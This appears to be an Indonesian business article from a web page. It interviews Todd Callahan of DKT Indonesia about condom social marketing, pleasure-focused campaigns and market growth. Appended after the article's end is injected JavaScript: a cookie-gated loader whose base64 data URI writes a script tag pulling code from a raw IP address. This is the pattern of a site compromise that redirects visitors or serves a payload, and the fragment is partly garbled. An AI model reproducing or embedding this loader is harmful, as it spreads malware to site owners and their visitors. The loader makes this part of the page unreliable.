Todd Callahan dan Tantangannya di Industri Kondom Indonesia

Selama lima tahun berkecimpung di industri kondom Indonesia, Todd Callahan, Country Director DKT Indonesia, mengatakan bahwa tantangan yang dihadapi dari tahun ke tahun kurang lebih sama. Tantangan yang paling besar adalah bagaimana meyakinkan setiap laki-laki untuk menggunakan kondom. Karena, dari setiap riset yang dilakukan DKT tentang mengapa laki-laki tidak mau menggunakan kondom, jawabannya selalu sama, yaitu berkaitan dengan ketidaknikmatan menggunakan kondom.

“Jadi, itu sebabnya DKT melalui pemasaran sosial menggunakan plessure angle, supaya ada alasan yang positif untuk menggunakan kondom. Saya tahu ini kontroversial dan banyak teman saya dari dunia kesehatan publik, tidak selalu setuju dengan kenapa mau menggunakan Julia Perez, kenapa mau menggunakan nama merek seperti Fiesta yang berarti Party. Tapi saya selalu bilang kepada mereka, alasan saya memanfaatkan popular culture, industri musik, bahkan Julia Perez sekalipun, adalah untuk mensosialisasikan kenikmatan kondom itu sendiri,” tutur pria yang fasih berbahasa Indonesia itu.

Todd Callahan, Country Director DKT Indonesia.

Namun, lanjutnya, tujuannya sosial tetap sama dari tahun ke tahun, yaitu untuk melindungi ibu dan bapak, pemuda-pemudi disini dari ancaman HIV AIDS, Infeksi Menular Seksual (IMS) dan kehamilan yang tidak diinginkan. Todd menjelaskan bahwa pada tahun 1996ketika DKT datang ke Indonesiaestimasi commercial condom market waktu itu dari non pemerintah, yaitu 20 juta kondom per tahun. Ia memperkiraan, total market kondom saat ini mungkin sudah meningkat sekitar 15 kali lipat.

“Meskipun ada progres, namun penggunaan kondom di Indonesia bisa dibilang masih belum optimal. Karena sebagai negara yang penduduknya hampir 250 juta orang, total condom market dari swasta maupun produk gratis dari pemerintah, seharusnya dua atau tiga kali lipat lebih besar. Jadi kita masih banyak pekerjaan ke depan,” imbuh Todd yang memiliki gelar MBA dan MMR dari University of Western Australia.

Selama 17 tahun pengalamannya di kawasan Selatan Asia, Todd telah bekerja di berbagai posisi pengembangan bisnis untuk berbagai macam jenis usaha. Sebelum bergabung dengan DKT pada Maret 2008, Todd adalah seorang konsultan dan technical advisor senior di PT Jasa Cita–sebuah perusahaan konsultan yang berasosiasi dengan Castle Asia.

Menurut Todd, pasar kondom di Indonesia ada dua. Pertama, komersial, yaitu produk bermerek dari pemain swasta seperti Durex, Okamoto, dan juga DKTmeskipun DKT adalah sebuah yayasan yang tujuannya sosial, tetapi juga bergerak di sektor swasta. Selain itu juga ada kondom gratis dari KPAN dan juga BKKBN untuk Keluarga Berencana.

“Kontribusi dari pemerintah di Indonesia, masih cukup besar. Tapi kurang lebih selama 10 tahun terakhir, kontribusi dari sektor swasta cukup meningkat signifikan. Sehingga, kontribusi kondom yang ada di pasar saat ini, lebih banyak dari sektor swasta,” ungkapnya.

Untuk itu, kata Todd, meskipun dari sektor swasta, DKT memiliki tujuan sosial lewat model pemasaran sosial atau social marketing. “DKT memang memasarkan dan menjual produk, tapi keuntungan yang ada diinvestasikan lagi untuk meningkatkan penggunaan kondom dan kontrasepsi yang lain, yang menjadi tujuan DKT di seluruh dunia,” pungkasnya menutup. (MS) function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Sign In

Get the most out of SWA by signing in to your account

(close)

Register

Have an account? Sign In
(close)